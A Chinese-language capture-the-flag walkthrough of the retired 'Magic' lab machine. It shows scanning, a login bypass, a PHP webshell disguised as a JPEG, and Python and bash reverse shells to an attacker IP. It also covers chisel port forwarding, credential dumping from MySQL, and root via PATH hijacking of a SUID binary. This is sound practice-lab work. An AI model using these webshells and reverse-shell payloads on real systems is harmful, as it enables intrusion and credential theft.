本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.185
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
信息枚举收集 https://github.com/codingo/Reconnoitre 跟autorecon类似 autorecon 10.10.10.185 -o ./Magic-autorecon sudo nmap -sT -p- --min-rate 10000 -oA scans/alltcp 10.10.10.185 或者 sudo masscan -p1-65535,U:1-65535 10.10.10.185 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//') sudo nmap -Pn -sV -sC -p$ports 10.10.10.185
访问80端口
看到一个Login页面
试了下默认口令不成功,试了万能密码,尼玛成功登录了
登录进去就是个上传图片的页面,测试了下可以上传图片格式的文件,但是上传带马的图片就不行,可以通过参考下面的文章进行绕过
https://en.wikipedia.org/wiki/List_of_file_signatures https://httpd.apache.org/docs/2.4/glossary.html#media-type https://httpd.apache.org/docs/2.4/mod/mod_mime.html
制作反弹shell的小马
echo 'FFD8FFDB' | xxd -r -p > webshell.php.jpg echo '<?=`$_GET[0]`?>' >> webshell.php.jpg
上述制作完成就可以通过上面的上传页面直接上传上去了,成功之后直接写入反弹shell代码拿shell
下面是在浏览器*问的地址,然后可以反弹shell http://10.10.10.185/images/uploads/webshell.php.jpg?0=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 浏览器访问后的编码地址 http://10.10.10.185/images/uploads/webshell.php.jpg?0=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.16%22,8833));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
升级tty-shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
在目标靶机上发现数据库的账户和密码
www-data@ubuntu:/var/www/Magic$ cat db.php5 <?php class Database { private static $dbName = 'Magic' ; private static $dbHost = 'localhost' ; private static $dbUsername = 'theseus'; private static $dbUserPassword = 'iamkingtheseus';
尝试在靶机上使用mysql客户端连接,但提示没有安装,想办法将数据库端口转发到本地kali机器上,相关工具如下:
https://github.com/jpillora/chisel https://github.com/jpillora/chisel/releases 具体步骤 1.在本地kali执行 ./chisel server -p 8000 -reverse 2.在目标靶机上执行 ./chisel client 10.10.14.16:8000 R:3306:127.0.0.1:3306 &
在本地kali连接mysql数据库
在本地kali连接mysql数据库 mysql -h 127.0.0.1 -P 3306 -u theseus -piamkingtheseus 执行下面操作指令获取账户和密码 show databases; use Magic; show tables; select * from login; 执行结果: MySQL [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | Magic | +--------------------+ 2 rows in set (0.256 sec) MySQL [(none)]> use Magic Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MySQL [Magic]> show tables; +-----------------+ | Tables_in_Magic | +-----------------+ | login | +-----------------+ 1 row in set (0.255 sec) MySQL [Magic]> select * from login; +----+----------+----------------+ | id | username | password | +----+----------+----------------+ | 1 | admin | Th3s3usW4sK1ng | +----+----------+----------------+ 1 row in set (0.257 sec) MySQL [Magic]>
直接使用上面得到的密码登录家目录下的用户theseus,成功登录之后查找目标靶机的suid文件进行提权
find / -perm -4000 -exec ls -l {} \; 2>/dev/null
找到下面一个二进制文件带权限s
-rwsr-x--- 1 root users 22040 Oct 21 2019 /bin/sysinfo 执行了一下上面的命令发现是收集系统相关信息的指令,使用strings查看下具体哪些指令 strings /bin/sysinfo 得到如下有用的内容 ====================Hardware Info==================== lshw -short ====================Disk Info==================== fdisk -l ====================CPU Info==================== cat /proc/cpuinfo ====================MEM Usage===================== free -h
上面可以通过劫持cat命令来提权
查看环境变量
theseus@ubuntu:~$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin theseus@ubuntu:~$
劫持环境变量,让执行cat命令的时候先执行/tmp/目录下的cat,在cat文件中写入反弹代码
使用echo快速写一个反弹shell echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/10.10.14.16/8822 0>&1' > /tmp/cat 更改环境变量执行顺序 export PATH=/tmp:$PATH echo $PATH
执行sysinfo命令触发劫持的cat命令反弹shell
上述执行之后,当执行到cat的时候卡住了
此时触发了反弹shell代码